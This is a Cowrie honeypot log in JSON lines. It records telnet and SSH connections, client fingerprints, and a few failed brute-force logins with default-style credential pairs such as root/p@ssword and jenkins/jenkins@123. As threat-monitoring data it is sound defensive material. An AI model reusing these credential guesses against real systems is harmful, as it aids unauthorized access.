{"eventid":"cowrie.session.closed","duration":30.683313608169556,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:37.603678Z","src_ip":"108.61.242.114","session":"374e6d18d478","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.998146533966064,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:37.799104Z","src_ip":"108.61.242.114","session":"8afbaf60b436","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.84635639190674,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:37.890188Z","src_ip":"185.111.235.80","session":"633b220c4193","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.271536111831665,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:38.004175Z","src_ip":"117.120.7.112","session":"895de3da9835","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":45682,"dst_ip":"159.203.135.109","dst_port":23,"session":"f33537adf104","protocol":"telnet","message":"New connection: 117.120.7.112:45682 (159.203.135.109:23) [session: f33537adf104]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:38.551496Z"}
{"eventid":"cowrie.session.closed","duration":39.40460538864136,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:38.967007Z","src_ip":"185.111.235.80","session":"999bff957412","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.93554663658142,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:39.019802Z","src_ip":"185.111.235.80","session":"d1ba2c0a11a8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":56572,"dst_ip":"10.17.0.5","dst_port":23,"session":"403646d0fc06","protocol":"telnet","message":"New connection: 185.111.235.80:56572 (10.17.0.5:23) [session: 403646d0fc06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:39.066985Z"}
{"eventid":"cowrie.session.closed","duration":30.86458420753479,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:39.109904Z","src_ip":"108.61.242.114","session":"2b6c901c6357","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":49024,"dst_ip":"10.17.0.5","dst_port":22,"session":"e3fe1ce1b73b","protocol":"ssh","message":"New connection: 176.65.139.103:49024 (10.17.0.5:22) [session: e3fe1ce1b73b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:39.490871Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.242.114","src_port":44562,"dst_ip":"10.17.0.5","dst_port":23,"session":"59adf1d4109f","protocol":"telnet","message":"New connection: 108.61.242.114:44562 (10.17.0.5:23) [session: 59adf1d4109f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:39.503653Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:39.515222Z","src_ip":"176.65.139.103","session":"e3fe1ce1b73b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:39.575806Z","src_ip":"176.65.139.103","session":"e3fe1ce1b73b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":35892,"dst_ip":"10.17.0.5","dst_port":23,"session":"72c5a5f4e90e","protocol":"telnet","message":"New connection: 185.111.235.80:35892 (10.17.0.5:23) [session: 72c5a5f4e90e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:39.700025Z"}
{"eventid":"cowrie.login.failed","username":"jenkins","password":"jenkins@123","message":"login attempt [jenkins/jenkins@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:39.894760Z","src_ip":"176.65.139.103","session":"e3fe1ce1b73b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":36872,"dst_ip":"10.17.0.5","dst_port":23,"session":"dac555feddee","protocol":"telnet","message":"New connection: 185.111.235.80:36872 (10.17.0.5:23) [session: dac555feddee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:39.951037Z"}
{"eventid":"cowrie.session.closed","duration":30.36740756034851,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:40.206776Z","src_ip":"108.61.242.114","session":"f2cac0e470ea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.127145051956177,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:40.211030Z","src_ip":"108.61.242.114","session":"f21526363369","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":41252,"dst_ip":"10.17.0.5","dst_port":23,"session":"788cc490858d","protocol":"telnet","message":"New connection: 185.111.235.80:41252 (10.17.0.5:23) [session: 788cc490858d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:40.842904Z"}
{"eventid":"cowrie.session.closed","duration":38.95623302459717,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:40.891280Z","src_ip":"185.111.235.80","session":"33f27f6f1b02","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":56524,"dst_ip":"10.17.0.5","dst_port":23,"session":"eb1ae42e9d33","protocol":"telnet","message":"New connection: 185.111.235.80:56524 (10.17.0.5:23) [session: eb1ae42e9d33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:41.071624Z"}
{"eventid":"cowrie.session.closed","duration":30.63356852531433,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:41.106210Z","src_ip":"108.61.242.114","session":"2e6e013f5ea3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:41.179618Z","src_ip":"176.65.139.103","session":"e3fe1ce1b73b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.323705911636353,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:41.387246Z","src_ip":"185.111.235.80","session":"863dd764e0bf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.37631630897522,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:41.898858Z","src_ip":"185.111.235.80","session":"bd17b8ce6f93","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.87903118133545,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:41.927016Z","src_ip":"185.111.235.80","session":"4ea815ecbbcb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.460587978363037,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:42.026839Z","src_ip":"108.61.242.114","session":"2b03007e0335","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.242.114","src_port":44570,"dst_ip":"10.17.0.5","dst_port":23,"session":"6987fa6684f4","protocol":"telnet","message":"New connection: 108.61.242.114:44570 (10.17.0.5:23) [session: 6987fa6684f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:42.641101Z"}
{"eventid":"cowrie.session.closed","duration":30.397329092025757,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:42.890020Z","src_ip":"185.111.235.80","session":"cf55d3b4cf13","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":50140,"dst_ip":"10.17.0.5","dst_port":23,"session":"5d30dac65fd5","protocol":"telnet","message":"New connection: 185.111.235.80:50140 (10.17.0.5:23) [session: 5d30dac65fd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:42.901057Z"}
{"eventid":"cowrie.session.closed","duration":31.089064359664917,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:42.936292Z","src_ip":"185.111.235.80","session":"2ea3057c88c8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.932431936264038,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:43.058570Z","src_ip":"185.111.235.80","session":"40dec7277537","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":44272,"dst_ip":"159.203.135.109","dst_port":23,"session":"cb3f1abfee41","protocol":"telnet","message":"New connection: 185.26.126.47:44272 (159.203.135.109:23) [session: cb3f1abfee41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:43.304175Z"}
{"eventid":"cowrie.session.closed","duration":30.12347412109375,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:43.885587Z","src_ip":"185.111.235.80","session":"559e08822414","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.031843185424805,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:44.120897Z","src_ip":"117.120.7.112","session":"810f2260561a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.06564688682556,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:44.449240Z","src_ip":"108.61.242.114","session":"ef5e623c606c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.08750629425049,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:44.947922Z","src_ip":"185.111.235.80","session":"78eff8b4475c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":59378,"dst_ip":"10.17.0.5","dst_port":23,"session":"b54e5348a4a0","protocol":"telnet","message":"New connection: 185.111.235.80:59378 (10.17.0.5:23) [session: b54e5348a4a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:45.045476Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":60040,"dst_ip":"10.17.0.5","dst_port":23,"session":"6f90ebb94f60","protocol":"telnet","message":"New connection: 185.111.235.80:60040 (10.17.0.5:23) [session: 6f90ebb94f60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:45.149107Z"}
{"eventid":"cowrie.session.closed","duration":30.811569452285767,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:45.938325Z","src_ip":"185.111.235.80","session":"ee2fdb719074","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.339110851287842,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:46.019742Z","src_ip":"185.111.235.80","session":"47f1a3ac96c4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.242.114","src_port":44586,"dst_ip":"10.17.0.5","dst_port":23,"session":"0d415ef428d1","protocol":"telnet","message":"New connection: 108.61.242.114:44586 (10.17.0.5:23) [session: 0d415ef428d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:46.029437Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.242.114","src_port":44592,"dst_ip":"10.17.0.5","dst_port":23,"session":"639c7106ca98","protocol":"telnet","message":"New connection: 108.61.242.114:44592 (10.17.0.5:23) [session: 639c7106ca98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:46.150733Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":36478,"dst_ip":"10.17.0.5","dst_port":23,"session":"dc76a6c53a97","protocol":"telnet","message":"New connection: 185.111.235.80:36478 (10.17.0.5:23) [session: dc76a6c53a97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:46.174214Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":59266,"dst_ip":"10.17.0.5","dst_port":22,"session":"e96119ea242c","protocol":"ssh","message":"New connection: 176.65.139.103:59266 (10.17.0.5:22) [session: e96119ea242c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:46.304486Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:46.520365Z","src_ip":"176.65.139.103","session":"e96119ea242c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:46.531883Z","src_ip":"176.65.139.103","session":"e96119ea242c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.7745463848114,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:46.924299Z","src_ip":"185.111.235.80","session":"58e94d92e252","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"p@ssword","message":"login attempt [root/p@ssword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:46.930449Z","src_ip":"176.65.139.103","session":"e96119ea242c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.941375970840454,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:47.106178Z","src_ip":"185.111.235.80","session":"1871c152e4bc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.138657093048096,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:47.212238Z","src_ip":"185.111.235.80","session":"a083d1384ca1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":42274,"dst_ip":"10.17.0.5","dst_port":23,"session":"19f26fdf1001","protocol":"telnet","message":"New connection: 185.111.235.80:42274 (10.17.0.5:23) [session: 19f26fdf1001]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:47.287460Z"}
{"eventid":"cowrie.session.closed","duration":31.162919282913208,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:47.621450Z","src_ip":"108.61.242.114","session":"b81e3076e5a1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":51254,"dst_ip":"159.203.135.109","dst_port":22,"session":"b73d1ffca6e5","protocol":"ssh","message":"New connection: 159.203.92.129:51254 (159.203.135.109:22) [session: b73d1ffca6e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:47.839633Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:47.844609Z","src_ip":"159.203.92.129","session":"b73d1ffca6e5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:47.849396Z","src_ip":"159.203.92.129","session":"b73d1ffca6e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"1qaz2wsx","message":"login attempt [ansible/1qaz2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:47.861100Z","src_ip":"159.203.92.129","session":"b73d1ffca6e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.95860481262207,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:47.952239Z","src_ip":"185.111.235.80","session":"48c7deb23da1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.473193407058716,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:48.027475Z","src_ip":"108.61.242.114","session":"98da40a37720","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:48.053611Z","src_ip":"176.65.139.103","session":"e96119ea242c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":45986,"dst_ip":"10.17.0.5","dst_port":23,"session":"0e53cdef78b3","protocol":"telnet","message":"New connection: 185.111.235.80:45986 (10.17.0.5:23) [session: 0e53cdef78b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:48.144972Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":46106,"dst_ip":"10.17.0.5","dst_port":23,"session":"f0b130b0f759","protocol":"telnet","message":"New connection: 185.111.235.80:46106 (10.17.0.5:23) [session: f0b130b0f759]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:48.150785Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.242.114","src_port":55920,"dst_ip":"10.17.0.5","dst_port":23,"session":"2da89393c52b","protocol":"telnet","message":"New connection: 108.61.242.114:55920 (10.17.0.5:23) [session: 2da89393c52b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:48.304444Z"}
{"eventid":"cowrie.session.closed","duration":31.346356630325317,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:48.364358Z","src_ip":"185.111.235.80","session":"b5fab17f1576","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":48138,"dst_ip":"10.17.0.5","dst_port":23,"session":"41f7192e61fc","protocol":"telnet","message":"New connection: 185.111.235.80:48138 (10.17.0.5:23) [session: 41f7192e61fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:48.594464Z"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:48.867464Z","src_ip":"159.203.92.129","session":"b73d1ffca6e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.68731927871704,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:48.925091Z","src_ip":"185.111.235.80","session":"6a1d0543eb68","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.242.114","src_port":55930,"dst_ip":"10.17.0.5","dst_port":23,"session":"c31c381046ea","protocol":"telnet","message":"New connection: 108.61.242.114:55930 (10.17.0.5:23) [session: c31c381046ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:49.014879Z"}
